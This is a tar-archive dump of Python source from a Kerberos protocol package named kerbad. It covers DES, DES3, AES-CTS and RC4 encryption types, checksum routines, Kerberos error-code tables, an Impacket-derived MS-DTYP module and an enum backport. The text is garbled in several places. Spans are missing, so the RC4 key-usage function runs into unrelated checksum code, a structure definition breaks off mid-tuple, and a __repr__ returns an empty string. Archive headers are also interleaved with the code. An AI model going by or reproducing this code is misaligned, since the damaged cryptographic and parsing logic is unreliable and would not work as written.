basic_encrypt(cls, key, plaintext): assert len(plaintext) % 8 == 0 des = DES(key.contents, MODE_CBC, b'\x00' * 8) return des.encrypt(plaintext) @classmethod def basic_decrypt(cls, key, ciphertext): assert len(ciphertext) % 8 == 0 des = DES(key.contents, MODE_CBC, b'\x00' * 8) return des.decrypt(ciphertext) @classmethod def string_to_key(cls, string, salt, params): if params is not None and params != '': raise ValueError('Invalid DES string-to-key parameters') key = cls.mit_des_string_to_key(string, salt) return key class _DES3CBC(_SimplifiedEnctype): enctype = Enctype.DES3 keysize = 24 seedsize = 21 blocksize = 8 padsize = 8 macsize = 20 hashmod = SHA @classmethod def random_to_key(cls, seed): # XXX Maybe reframe as _DESEnctype.random_to_key and use that # way from DES3 random-to-key when DES is implemented, since # MIT does this instead of the RFC 3961 random-to-key. def expand(seed): def parity(b): # Return b with the low-order bit set to yield odd parity. b &= ~1 return b if bin(b & ~1).count('1') % 2 else b | 1 assert len(seed) == 7 firstbytes = [parity(b & ~1) for b in seed] lastbyte = parity(sum((seed[i]&1) << i+1 for i in range(7))) keybytes = b''.join(b.to_bytes(1, byteorder = 'big', signed = False) for b in firstbytes + [lastbyte]) if _is_weak_des_key(keybytes): keybytes[7] = (keybytes[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False) return keybytes if len(seed) != 21: raise ValueError('Wrong seed length') k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:]) return Key(cls.enctype, k1 + k2 + k3) @classmethod def string_to_key(cls, string, salt, params): if params is not None and params != '': raise ValueError('Invalid DES3 string-to-key parameters') k = cls.random_to_key(_nfold(string + salt, 21)) return cls.derive(k, 'kerberos'.encode()) @classmethod def basic_encrypt(cls, key, plaintext): assert len(plaintext) % 8 == 0 des3 = DES3(key.contents, MODE_CBC, IV = b'\x00' * 8) return des3.encrypt(plaintext) @classmethod def basic_decrypt(cls, key, ciphertext): assert len(ciphertext) % 8 == 0 des3 = DES3(key.contents, MODE_CBC, IV = b'\x00' * 8) return des3.decrypt(ciphertext) class _AESEnctype(_SimplifiedEnctype): # Base class for aes128-cts and aes256-cts. blocksize = 16 padsize = 1 macsize = 12 hashmod = SHA @classmethod def string_to_key(cls, string, salt, params): (iterations,) = unpack('>L', params or b'\x00\x00\x10\x00') #prf = lambda p, s: HMAC.new(p, s, SHA).digest() #seed = PBKDF2(string, salt, cls.seedsize, iterations, prf) seed = PBKDF2(string, salt, iterations, cls.seedsize) tkey = cls.random_to_key(seed) return cls.derive(tkey, 'kerberos'.encode()) @classmethod def basic_encrypt(cls, key, plaintext): assert len(plaintext) >= 16 aes = AES(key.contents, MODE_CBC, b'\x00' * 16) ctext = aes.encrypt(_zeropad(plaintext, 16)) if len(plaintext) > 16: # Swap the last two ciphertext blocks and truncate the # final block to match the plaintext length. lastlen = len(plaintext) % 16 or 16 ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen] return ctext @classmethod def basic_decrypt(cls, key, ciphertext): assert len(ciphertext) >= 16 aes = AES(key.contents, MODE_ECB) if len(ciphertext) == 16: return aes.decrypt(ciphertext) # Split the ciphertext into blocks. The last block may be partial. cblocks = [ciphertext[p:p+16] for p in range(0, len(ciphertext), 16)] lastlen = len(cblocks[-1]) # CBC-decrypt all but the last two blocks. prev_cblock = b'\x00' * 16 plaintext = b'' for b in cblocks[:-2]: plaintext += _xorbytes(aes.decrypt(b), prev_cblock) prev_cblock = b # Decrypt the second-to-last cipher block. The left side of # the decrypted block will be the final block of plaintext # xor'd with the final partial cipher block; the right side # will be the omitted bytes of ciphertext from the final # block. b = aes.decrypt(cblocks[-2]) lastplaintext =_xorbytes(b[:lastlen], cblocks[-1]) omitted = b[lastlen:] # Decrypt the final cipher block plus the omitted bytes to get # the second-to-last plaintext block. plaintext += _xorbytes(aes.decrypt(cblocks[-1] + omitted), prev_cblock) return plaintext + lastplaintext class _AES128CTS(_AESEnctype): enctype = Enctype.AES128 keysize = 16 seedsize = 16 class _AES256CTS(_AESEnctype): enctype = Enctype.AES256 keysize = 32 seedsize = 32 class _RC4(_EnctypeProfile): enctype = Enctype.RC4 keysize = 16 seedsize = 16 @staticmethod def usage_str(keyusage): # Return a four-byte string for an RFC 3961 keyusage, using # the RFC 4757 rules. Per the errata, do not map 9 to 8. table = {3: 8, 23: 13} msusage = table[keyusage] if keyusage in table else keyusage return pack('IB', keyusage, 0x99)) hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest() return hmac[:cls.macsize] @classmethod def verify(cls, key, keyusage, text, cksum): if key.enctype != cls.enc.enctype: raise ValueError('Wrong key type for checksum') super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum) class _SHA1AES128(_SimplifiedChecksum): macsize = 12 enc = _AES128CTS class _SHA1AES256(_SimplifiedChecksum): macsize = 12 enc = _AES256CTS class _SHA1DES3(_SimplifiedChecksum): macsize = 20 enc = _DES3CBC class _HMACMD5(_ChecksumProfile): @classmethod def checksum(cls, key, keyusage, text): ksign = HMAC.new(key.contents, b'signaturekey\x00', MD5).digest() md5hash = MD5(_RC4.usage_str(keyusage) + text).digest() return HMAC.new(ksign, md5hash, MD5).digest() @classmethod def verify(cls, key, keyusage, text, cksum): if key.enctype != Enctype.RC4: raise ValueError('Wrong key type for checksum') super(_HMACMD5, cls).verify(key, keyusage, text, cksum) _enctype_table:Dict[str, _SimplifiedEnctype] = { Enctype.DES_MD5: _DESCBC, Enctype.DES3: _DES3CBC, Enctype.AES128: _AES128CTS, Enctype.AES256: _AES256CTS, Enctype.RC4: _RC4, Enctype.RC4_MD4: _RC4_MD4, } _checksum_table = { Cksumtype.SHA1_DES3: _SHA1DES3, Cksumtype.SHA1_AES128: _SHA1AES128, Cksumtype.SHA1_AES256: _SHA1AES256, Cksumtype.HMAC_MD5: _HMACMD5, 0xffffff76: _HMACMD5 } def _get_enctype_profile(enctype): if enctype not in _enctype_table: raise ValueError('Invalid enctype %d' % enctype) return _enctype_table[enctype] def _get_checksum_profile(cksumtype): if cksumtype not in _checksum_table: raise ValueError('Invalid cksumtype %d' % cksumtype) return _checksum_table[cksumtype] class Key(object): def __init__(self, enctype:Enctype, contents:bytes): if enctype != Enctype.RC4_MD4: e = _get_enctype_profile(enctype) if len(contents) != e.keysize: raise ValueError('Wrong key length') self.enctype = enctype self.contents = contents def __str__(self): temp = '' if self.contents is not None: temp = self.contents.hex() return 'Key(%d, %s)' % (self.enctype, temp) def random_to_key(enctype, seed): e = _get_enctype_profile(enctype) if len(seed) != e.seedsize: raise ValueError('Wrong crypto seed length') return e.random_to_key(seed) def string_to_key(enctype, string, salt, params=None): if isinstance(string, str): string = string.encode() e = _get_enctype_profile(enctype) return e.string_to_key(string, salt, params) def encrypt(key, keyusage, plaintext, confounder=None): e = _get_enctype_profile(key.enctype) return e.encrypt(key, keyusage, plaintext, confounder) def decrypt(key, keyusage, ciphertext): # Throw InvalidChecksum on checksum failure. Throw ValueError on # invalid key enctype or malformed ciphertext. e = _get_enctype_profile(key.enctype) return e.decrypt(key, keyusage, ciphertext) def prf(key, string): e = _get_enctype_profile(key.enctype) return e.prf(key, string) def make_checksum(cksumtype, key, keyusage, text): c = _get_checksum_profile(cksumtype) return c.checksum(key, keyusage, text) def verify_checksum(cksumtype, key, keyusage, text, cksum): # Throw InvalidChecksum exception on checksum failure. Throw # ValueError on invalid cksumtype, invalid key enctype, or # malformed checksum. c = _get_checksum_profile(cksumtype) c.verify(key, keyusage, text, cksum) def cf2(enctype, key1, key2, pepper1, pepper2): # Combine two keys and two pepper strings to produce a result key # of type enctype, using the RFC 6113 KRB-FX-CF2 function. def prfplus(key, pepper, l): # Produce l bytes of output using the RFC 6113 PRF+ function. out = b'' count = 1 while len(out) < l: out += prf(key, count.to_bytes(1, byteorder='big', signed = False) + pepper) count += 1 return out[:l] e = _get_enctype_profile(enctype) return e.random_to_key(_xorbytes(prfplus(key1, pepper1, e.seedsize), prfplus(key2, pepper2, e.seedsize))) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/protocol/errors.py0000777000175000000000000002234314760576506017133 0ustar00silverrootimport enum class KerberosError(Exception): def __init__(self, krb_err_msg, extra_msg = ''): self.krb_err_msg = krb_err_msg.native self.errorcode = KerberosErrorCode.ERR_NOT_FOUND self.errormsg = 'Error message not found! Err code: %s' % self.krb_err_msg['error-code'] try: self.errorcode = KerberosErrorCode(self.krb_err_msg['error-code']) self.errormsg = KerberosErrorMessage[self.errorcode.name].value except: pass self.extra_msg = extra_msg super(Exception, self).__init__('%s Error Name: %s Detail: "%s" ' % (extra_msg, self.errorcode.name, self.errormsg)) # https://technet.microsoft.com/en-us/library/bb463166.aspx class KerberosErrorCode(enum.Enum): ERR_NOT_FOUND = 0xFFFFFF KDC_ERR_NONE = 0x0 #No error KDC_ERR_NAME_EXP = 0x1 #Client's entry in KDC database has expired KDC_ERR_SERVICE_EXP = 0x2 #Server's entry in KDC database has expired KDC_ERR_BAD_PVNO = 0x3 #Requested Kerberos version number not supported KDC_ERR_C_OLD_MAST_KVNO = 0x4 #Client's key encrypted in old master key KDC_ERR_S_OLD_MAST_KVNO = 0x5 #Server's key encrypted in old master key KDC_ERR_C_PRINCIPAL_UNKNOWN = 0x6 #Client not found in Kerberos database KDC_ERR_S_PRINCIPAL_UNKNOWN = 0x7 #Server not found in Kerberos database KDC_ERR_PRINCIPAL_NOT_UNIQUE = 0x8 #Multiple principal entries in KDC database KDC_ERR_NULL_KEY = 0x9 #The client or server has a null key (master key) KDC_ERR_CANNOT_POSTDATE = 0xA # Ticket (TGT) not eligible for postdating KDC_ERR_NEVER_VALID = 0xB # Requested start time is later than end time KDC_ERR_POLICY = 0xC #Requested start time is later than end time KDC_ERR_BADOPTION = 0xD #KDC cannot accommodate requested option KDC_ERR_ETYPE_NOTSUPP = 0xE # KDC has no support for encryption type KDC_ERR_SUMTYPE_NOSUPP = 0xF # KDC has no support for checksum type KDC_ERR_PADATA_TYPE_NOSUPP = 0x10 #KDC has no support for PADATA type (pre-authentication data) KDC_ERR_TRTYPE_NO_SUPP = 0x11 #KDC has no support for transited type KDC_ERR_CLIENT_REVOKED = 0x12 # Client’s credentials have been revoked KDC_ERR_SERVICE_REVOKED = 0x13 #Credentials for server have been revoked KDC_ERR_TGT_REVOKED = 0x14 #TGT has been revoked KDC_ERR_CLIENT_NOTYET = 0x15 # Client not yet valid—try again later KDC_ERR_SERVICE_NOTYET = 0x16 #Server not yet valid—try again later KDC_ERR_KEY_EXPIRED = 0x17 # Password has expired—change password to reset KDC_ERR_PREAUTH_FAILED = 0x18 #Pre-authentication information was invalid KDC_ERR_PREAUTH_REQUIRED = 0x19 # Additional preauthentication required KDC_ERR_SERVER_NOMATCH = 0x1A #KDC does not know about the requested server KDC_ERR_SVC_UNAVAILABLE = 0x1B # KDC is unavailable KRB_AP_ERR_BAD_INTEGRITY = 0x1F # Integrity check on decrypted field failed KRB_AP_ERR_TKT_EXPIRED = 0x20 # The ticket has expired KRB_AP_ERR_TKT_NYV = 0x21 #The ticket is not yet valid KRB_AP_ERR_REPEAT = 0x22 # The request is a replay KRB_AP_ERR_NOT_US = 0x23 #The ticket is not for us KRB_AP_ERR_BADMATCH = 0x24 #The ticket and authenticator do not match KRB_AP_ERR_SKEW = 0x25 # The clock skew is too great KRB_AP_ERR_BADADDR = 0x26 # Network address in network layer header doesn't match address inside ticket KRB_AP_ERR_BADVERSION = 0x27 # Protocol version numbers don't match (PVNO) KRB_AP_ERR_MSG_TYPE = 0x28 # Message type is unsupported KRB_AP_ERR_MODIFIED = 0x29 # Message stream modified and checksum didn't match KRB_AP_ERR_BADORDER = 0x2A # Message out of order (possible tampering) KRB_AP_ERR_BADKEYVER = 0x2C # Specified version of key is not available KRB_AP_ERR_NOKEY = 0x2D # Service key not available KRB_AP_ERR_MUT_FAIL = 0x2E # Mutual authentication failed KRB_AP_ERR_BADDIRECTION = 0x2F # Incorrect message direction KRB_AP_ERR_METHOD = 0x30 # Alternative authentication method required KRB_AP_ERR_BADSEQ = 0x31 # Incorrect sequence number in message KRB_AP_ERR_INAPP_CKSUM = 0x32 # Inappropriate type of checksum in message (checksum may be unsupported) KRB_AP_PATH_NOT_ACCEPTED = 0x33 # Desired path is unreachable KRB_ERR_RESPONSE_TOO_BIG = 0x34 # Too much data KRB_ERR_GENERIC = 0x3C # Generic error; the description is in the e-data field KRB_ERR_FIELD_TOOLONG = 0x3D # Field is too long for this implementation KDC_ERR_CLIENT_NOT_TRUSTED = 0x3E # The client trust failed or is not implemented KDC_ERR_KDC_NOT_TRUSTED = 0x3F # The KDC server trust failed or could not be verified KDC_ERR_INVALID_SIG = 0x40 # The signature is invalid KDC_ERR_KEY_TOO_WEAK = 0x41 #A higher encryption level is needed, in PKINIT it's KDC_ERR_DH_KEY_PARAMETERS_NOT_ACCEPTED KRB_AP_ERR_USER_TO_USER_REQUIRED = 0x42# User-to-user authorization is required KRB_AP_ERR_NO_TGT = 0x43 # No TGT was presented or available KDC_ERR_WRONG_REALM = 0x44 #Incorrect domain or principal KDC_ERR_CANT_VERIFY_CERTIFICATE = 0x46 KDC_ERR_INVALID_CERTIFICATE = 0x47 KDC_ERR_REVOKED_CERTIFICATE = 0x48 KDC_ERR_REVOCATION_STATUS_UNKNOWN = 0x49 KDC_ERR_CLIENT_NAME_MISMATCH = 0x4B KDC_ERR_INCONSISTENT_KEY_PURPOSE = 0x4D KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED = 0x4E KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED = 0x4F KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED = 0x50 KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED = 0x51 KRB_AP_ERR_IAKERB_KDC_NOT_FOUND = 0x55 #https://datatracker.ietf.org/doc/html/draft-ietf-kitten-iakerb KRB_AP_ERR_IAKERB_KDC_NO_RESPONSE = 0x56 #https://datatracker.ietf.org/doc/html/draft-ietf-kitten-iakerb class KerberosErrorMessage(enum.Enum): KDC_ERR_NONE = 'No error' KDC_ERR_NAME_EXP = 'Client\'s entry in KDC database has expired' KDC_ERR_SERVICE_EXP = 'Server\'s entry in KDC database has expired' KDC_ERR_BAD_PVNO = 'Requested Kerberos version number not supported' KDC_ERR_C_OLD_MAST_KVNO = 'Client\'s key encrypted in old master key' KDC_ERR_S_OLD_MAST_KVNO = 'Server\'s key encrypted in old master key' KDC_ERR_C_PRINCIPAL_UNKNOWN = 'Client not found in Kerberos database' KDC_ERR_S_PRINCIPAL_UNKNOWN = 'Server not found in Kerberos database' KDC_ERR_PRINCIPAL_NOT_UNIQUE = 'Multiple principal entries in KDC database' KDC_ERR_NULL_KEY = 'The client or server has a null key (master key)' KDC_ERR_CANNOT_POSTDATE = 'Ticket (TGT) not eligible for postdating' KDC_ERR_NEVER_VALID = 'Requested start time is later than end time' KDC_ERR_POLICY = 'Requested start time is later than end time' KDC_ERR_BADOPTION = 'KDC cannot accommodate requested option' KDC_ERR_ETYPE_NOTSUPP = 'KDC has no support for encryption type' KDC_ERR_SUMTYPE_NOSUPP = 'KDC has no support for checksum type' KDC_ERR_PADATA_TYPE_NOSUPP = 'KDC has no support for PADATA type (pre-authentication data)' KDC_ERR_TRTYPE_NO_SUPP = 'KDC has no support for transited type' KDC_ERR_CLIENT_REVOKED ='Client’s credentials have been revoked' KDC_ERR_SERVICE_REVOKED = 'Credentials for server have been revoked' KDC_ERR_TGT_REVOKED = 'TGT has been revoked' KDC_ERR_CLIENT_NOTYET = 'Client not yet valid—try again later' KDC_ERR_SERVICE_NOTYET = 'Server not yet valid—try again later' KDC_ERR_KEY_EXPIRED = 'Password has expired—change password to reset' KDC_ERR_PREAUTH_FAILED = 'Pre-authentication information was invalid' KDC_ERR_PREAUTH_REQUIRED = 'Additional preauthentication required' KDC_ERR_SERVER_NOMATCH = 'KDC does not know about the requested server' KDC_ERR_SVC_UNAVAILABLE = 'KDC is unavailable' KRB_AP_ERR_BAD_INTEGRITY = 'Integrity check on decrypted field failed' KRB_AP_ERR_TKT_EXPIRED = 'The ticket has expired' KRB_AP_ERR_TKT_NYV = 'The ticket is not yet valid' KRB_AP_ERR_REPEAT = 'The request is a replay' KRB_AP_ERR_NOT_US = 'The ticket is not for us' KRB_AP_ERR_BADMATCH = 'The ticket and authenticator do not match' KRB_AP_ERR_SKEW = 'The clock skew is too great' KRB_AP_ERR_BADADDR = 'Network address in network layer header doesn\'t match address inside ticket' KRB_AP_ERR_BADVERSION = 'Protocol version numbers don\'t match (PVNO)' KRB_AP_ERR_MSG_TYPE ='Message type is unsupported' KRB_AP_ERR_MODIFIED = 'Message stream modified and checksum didn\'t match' KRB_AP_ERR_BADORDER = 'Message out of order (possible tampering)' KRB_AP_ERR_BADKEYVER = 'Specified version of key is not available' KRB_AP_ERR_NOKEY = 'Service key not available' KRB_AP_ERR_MUT_FAIL = 'Mutual authentication failed' KRB_AP_ERR_BADDIRECTION = 'Incorrect message direction' KRB_AP_ERR_METHOD = 'Alternative authentication method required' KRB_AP_ERR_BADSEQ = 'Incorrect sequence number in message' KRB_AP_ERR_INAPP_CKSUM = 'Inappropriate type of checksum in message (checksum may be unsupported)' KRB_AP_PATH_NOT_ACCEPTED = 'Desired path is unreachable' KRB_ERR_RESPONSE_TOO_BIG = 'Too much data' KRB_ERR_GENERIC = 'Generic error; the description is in the e-data field' KRB_ERR_FIELD_TOOLONG = 'Field is too long for this implementation' KDC_ERR_CLIENT_NOT_TRUSTED = 'The client trust failed or is not implemented' KDC_ERR_KDC_NOT_TRUSTED = 'The KDC server trust failed or could not be verified' KDC_ERR_INVALID_SIG = 'The signature is invalid' KDC_ERR_KEY_TOO_WEAK = 'A higher encryption level is needed' KRB_AP_ERR_USER_TO_USER_REQUIRED ='User-to-user authorization is required' KRB_AP_ERR_NO_TGT ='No TGT was presented or available' KDC_ERR_WRONG_REALM = 'Incorrect domain or principal' KRB_AP_ERR_IAKERB_KDC_NOT_FOUND = 'The IAKERB proxy could not find a KDC' KRB_AP_ERR_IAKERB_KDC_NO_RESPONSE = 'The KDC did not respond to the IAKERB proxy' ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1769847309.0 kerbad-0.5.10/kerbad/protocol/external/0000777000175000000000000000000015137335015017043 5ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740832070.0 kerbad-0.5.10/kerbad/protocol/external/__init__.py0000777000175000000000000000000014760576506021162 0ustar00silverroot././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987069.0 kerbad-0.5.10/kerbad/protocol/external/dtypes.py0000777000175000000000000003223615056277275020753 0ustar00silverroot# Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-DTYP] Interface mini implementation # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from struct import pack from six import binary_type from kerbad.protocol.external.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL DWORD = NDRULONG BOOL = NDRULONG UCHAR = NDRUSMALL SHORT = NDRSHORT NULL = NULL class LPDWORD(NDRPOINTER): referent = ( ('Data', DWORD), ) class PSHORT(NDRPOINTER): referent = ( ('Data', SHORT), ) class PBOOL(NDRPOINTER): referent = ( ('Data', BOOL), ) class LPBYTE(NDRPOINTER): referent = ( ('Data', NDRUniConformantArray), ) PBYTE = LPBYTE # 2.2.4 BOOLEAN BOOLEAN = NDRBOOLEAN # 2.2.6 BYTE BYTE = NDRUSMALL # 2.2.7 CHAR CHAR = NDRSMALL class PCHAR(NDRPOINTER): referent = ( ('Data', CHAR), ) class WIDESTR(NDRUniFixedArray): def getDataLen(self, data, offset=0): return data.find(b'\x00\x00\x00', offset)+3-offset def __setitem__(self, key, value): if key == 'Data': try: self.fields[key] = value.encode('utf-16le') except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le') self.data = None # force recompute else: return NDR.__setitem__(self, key, value) def __getitem__(self, key): if key == 'Data': return self.fields[key].decode('utf-16le') else: return NDR.__getitem__(self,key) class STR(NDRSTRUCT): commonHdr = ( ('MaximumCount', ' 4) def _is_sunder(name): """Returns True if a _sunder_ name, False otherwise.""" return (name[0] == name[-1] == '_' and name[1:2] != '_' and name[-2:-1] != '_' and len(name) > 2) def _make_class_unpicklable(cls): """Make the given class un-picklable.""" def _break_on_call_reduce(self): raise TypeError('%r cannot be pickled' % self) cls.__reduce__ = _break_on_call_reduce cls.__module__ = '' class _EnumDict(dict): """Track enum member order and ensure member names are not reused. EnumMeta will use the names found in self._member_names as the enumeration member names. """ def __init__(self): super(_EnumDict, self).__init__() self._member_names = [] def __setitem__(self, key, value): """Changes anything not dundered or not a descriptor. If a descriptor is added with the same name as an enum member, the name is removed from _member_names (this may leave a hole in the numerical sequence of values). If an enum member name is used twice, an error is raised; duplicate values are not checked for. Single underscore (sunder) names are reserved. Note: in 3.x __order__ is simply discarded as a not necessary piece leftover from 2.x """ if pyver >= 3.0 and key == '__order__': return if _is_sunder(key): raise ValueError('_names_ are reserved for future Enum use') elif _is_dunder(key): pass elif key in self._member_names: # descriptor overwriting an enum? raise TypeError('Attempted to reuse key: %r' % key) elif not _is_descriptor(value): if key in self: # enum overwriting a descriptor? raise TypeError('Key already defined as: %r' % self[key]) self._member_names.append(key) super(_EnumDict, self).__setitem__(key, value) # Dummy value for Enum as EnumMeta explicitly checks for it, but of course until # EnumMeta finishes running the first time the Enum class doesn't exist. This # is also why there are checks in EnumMeta like `if Enum is not None` Enum = None class EnumMeta(type): """Metaclass for Enum""" @classmethod def __prepare__(metacls, cls, bases): return _EnumDict() def __new__(metacls, cls, bases, classdict): # an Enum class is final once enumeration items have been defined; it # cannot be mixed with other types (int, float, etc.) if it has an # inherited __new__ unless a new __new__ is defined (or the resulting # class will fail). if type(classdict) is dict: original_dict = classdict classdict = _EnumDict() for k, v in original_dict.items(): classdict[k] = v member_type, first_enum = metacls._get_mixins_(bases) #if member_type is object: # use_args = False #else: # use_args = True __new__, save_new, use_args = metacls._find_new_(classdict, member_type, first_enum) # save enum items into separate mapping so they don't get baked into # the new class members = dict((k, classdict[k]) for k in classdict._member_names) for name in classdict._member_names: del classdict[name] # py2 support for definition order __order__ = classdict.get('__order__') if __order__ is None: __order__ = classdict._member_names if pyver < 3.0: order_specified = False else: order_specified = True else: del classdict['__order__'] order_specified = True if pyver < 3.0: __order__ = __order__.replace(',', ' ').split() aliases = [name for name in members if name not in __order__] __order__ += aliases # check for illegal enum names (any others?) invalid_names = set(members) & set(['mro']) if invalid_names: raise ValueError('Invalid enum member name(s): %s' % ( ', '.join(invalid_names), )) # create our new Enum type enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict) enum_class._member_names_ = [] # names in random order enum_class._member_map_ = {} # name->value map enum_class._member_type_ = member_type # Reverse value->name map for hashable values. enum_class._value2member_map_ = {} # check for a __getnewargs__, and if not present sabotage # pickling, since it won't work anyway if (member_type is not object and member_type.__dict__.get('__getnewargs__') is None ): _make_class_unpicklable(enum_class) # instantiate them, checking for duplicates as we go # we instantiate first instead of checking for duplicates first in case # a custom __new__ is doing something funky with the values -- such as # auto-numbering ;) if __new__ is None: __new__ = enum_class.__new__ for member_name in __order__: value = members[member_name] if not isinstance(value, tuple): args = (value, ) else: args = value if member_type is tuple: # special case for tuple enums args = (args, ) # wrap it one more time if not use_args or not args: enum_member = __new__(enum_class) if not hasattr(enum_member, '_value_'): enum_member._value_ = value else: enum_member = __new__(enum_class, *args) if not hasattr(enum_member, '_value_'): enum_member._value_ = member_type(*args) value = enum_member._value_ enum_member._name_ = member_name enum_member.__objclass__ = enum_class enum_member.__init__(*args) # If another member with the same value was already defined, the # new member becomes an alias to the existing one. for name, canonical_member in enum_class._member_map_.items(): if canonical_member.value == enum_member._value_: enum_member = canonical_member break else: # Aliases don't appear in member names (only in __members__). enum_class._member_names_.append(member_name) enum_class._member_map_[member_name] = enum_member try: # This may fail if value is not hashable. We can't add the value # to the map, and by-value lookups for this value will be # linear. enum_class._value2member_map_[value] = enum_member except TypeError: pass # in Python2.x we cannot know definition order, so go with value order # unless __order__ was specified in the class definition if not order_specified: enum_class._member_names_ = [ e[0] for e in sorted( [(name, enum_class._member_map_[name]) for name in enum_class._member_names_], key=lambda t: t[1]._value_ )] # double check that repr and friends are not the mixin's or various # things break (such as pickle) if Enum is not None: setattr(enum_class, '__getnewargs__', Enum.__getnewargs__) for name in ('__repr__', '__str__', '__format__'): class_method = getattr(enum_class, name) obj_method = getattr(member_type, name, None) enum_method = getattr(first_enum, name, None) if obj_method is not None and obj_method is class_method: setattr(enum_class, name, enum_method) # method resolution and int's are not playing nice # Python's less than 2.6 use __cmp__ if pyver < 2.6: if issubclass(enum_class, int): setattr(enum_class, '__cmp__', getattr(int, '__cmp__')) elif pyver < 3.0: if issubclass(enum_class, int): for method in ( '__le__', '__lt__', '__gt__', '__ge__', '__eq__', '__ne__', '__hash__', ): setattr(enum_class, method, getattr(int, method)) # replace any other __new__ with our own (as long as Enum is not None, # anyway) -- again, this is to support pickle if Enum is not None: # if the user defined their own __new__, save it before it gets # clobbered in case they subclass later if save_new: setattr(enum_class, '__member_new__', enum_class.__dict__['__new__']) setattr(enum_class, '__new__', Enum.__dict__['__new__']) return enum_class def __call__(cls, value, names=None, module=None, type=None): """Either returns an existing member, or creates a new enum class. This method is used both when an enum class is given a value to match to an enumeration member (i.e. Color(3)) and for the functional API (i.e. Color = Enum('Color', names='red green blue')). When used for the functional API: `module`, if set, will be stored in the new class' __module__ attribute; `type`, if set, will be mixed in as the first base class. Note: if `module` is not set this routine will attempt to discover the calling module by walking the frame stack; if this is unsuccessful the resulting class will not be pickleable. """ if names is None: # simple value lookup return cls.__new__(cls, value) # otherwise, functional API: we're creating a new Enum type return cls._create_(value, names, module=module, type=type) def __contains__(cls, member): return isinstance(member, cls) and member.name in cls._member_map_ def __delattr__(cls, attr): # nicer error message when someone tries to delete an attribute # (see issue19025). if attr in cls._member_map_: raise AttributeError( "%s: cannot delete Enum member." % cls.__name__) super(EnumMeta, cls).__delattr__(attr) def __dir__(self): return (['__class__', '__doc__', '__members__', '__module__'] + self._member_names_) @property def __members__(cls): """Returns a mapping of member name->value. This mapping lists all enum members, including aliases. Note that this is a copy of the internal mapping. """ return cls._member_map_.copy() def __getattr__(cls, name): """Return the enum member matching `name` We use __getattr__ instead of descriptors or inserting into the enum class' __dict__ in order to support `name` and `value` being both properties for enum members (which live in the class' __dict__) and enum members themselves. """ if _is_dunder(name): raise AttributeError(name) try: return cls._member_map_[name] except KeyError: raise AttributeError(name) def __getitem__(cls, name): return cls._member_map_[name] def __iter__(cls): return (cls._member_map_[name] for name in cls._member_names_) def __reversed__(cls): return (cls._member_map_[name] for name in reversed(cls._member_names_)) def __len__(cls): return len(cls._member_names_) def __repr__(cls): return "" % cls.__name__ def __setattr__(cls, name, value): """Block attempts to reassign Enum members. A simple assignment to the class namespace only changes one of the several possible ways to get an Enum member from the Enum class, resulting in an inconsistent Enumeration. """ member_map = cls.__dict__.get('_member_map_', {}) if name in member_map: raise AttributeError('Cannot reassign members.') super(EnumMeta, cls).__setattr__(name, value) def _create_(cls, class_name, names=None, module=None, type=None): """Convenience method to create a new Enum class. `names` can be: * A string containing member names, separated either with spaces or commas. Values are auto-numbered from 1. * An iterable of member names. Values are auto-numbered from 1. * An iterable of (member name, value) pairs. * A mapping of member name -> value. """ metacls = cls.__class__ if type is None: bases = (cls, ) else: bases = (type, cls) classdict = metacls.__prepare__(class_name, bases) __order__ = [] # special processing needed for names? if isinstance(names, str): names = names.replace(',', ' ').split() if isinstance(names, (tuple, list)) and isinstance(names[0], str): names = [(e, i+1) for (i, e) in enumerate(names)] # Here, names is either an iterable of (name, value) or a mapping. for item in names: if isinstance(item, str): member_name, member_value = item, names[item] else: member_name, member_value = item classdict[member_name] = member_value __order__.append(member_name) # only set __order__ in classdict if name/value was not from a mapping if not isinstance(item, str): classdict['__order__'] = ' '.join(__order__) enum_class = metacls.__new__(metacls, class_name, bases, classdict) # TODO: replace the frame hack if a blessed way to know the calling # module is ever developed if module is None: try: module = _sys._getframe(2).f_globals['__name__'] except (AttributeError, ValueError): pass if module is None: _make_class_unpicklable(enum_class) else: enum_class.__module__ = module return enum_class @staticmethod def _get_mixins_(bases): """Returns the type for creating enum members, and the first inherited enum class. bases: the tuple of bases that was given to __new__ """ if not bases or Enum is None: return object, Enum # double check that we are not subclassing a class with existing # enumeration members; while we're at it, see if any other data # type has been mixed in so we can use the correct __new__ member_type = first_enum = None for base in bases: if (base is not Enum and issubclass(base, Enum) and base._member_names_): raise TypeError("Cannot extend enumerations") # base is now the last base in bases if not issubclass(base, Enum): raise TypeError("new enumerations must be created as " "`ClassName([mixin_type,] enum_type)`") # get correct mix-in type (either mix-in type of Enum subclass, or # first base if last base is Enum) if not issubclass(bases[0], Enum): member_type = bases[0] # first data type first_enum = bases[-1] # enum type else: for base in bases[0].__mro__: # most common: (IntEnum, int, Enum, object) # possible: (, , # , , # ) if issubclass(base, Enum): if first_enum is None: first_enum = base else: if member_type is None: member_type = base return member_type, first_enum if pyver < 3.0: @staticmethod def 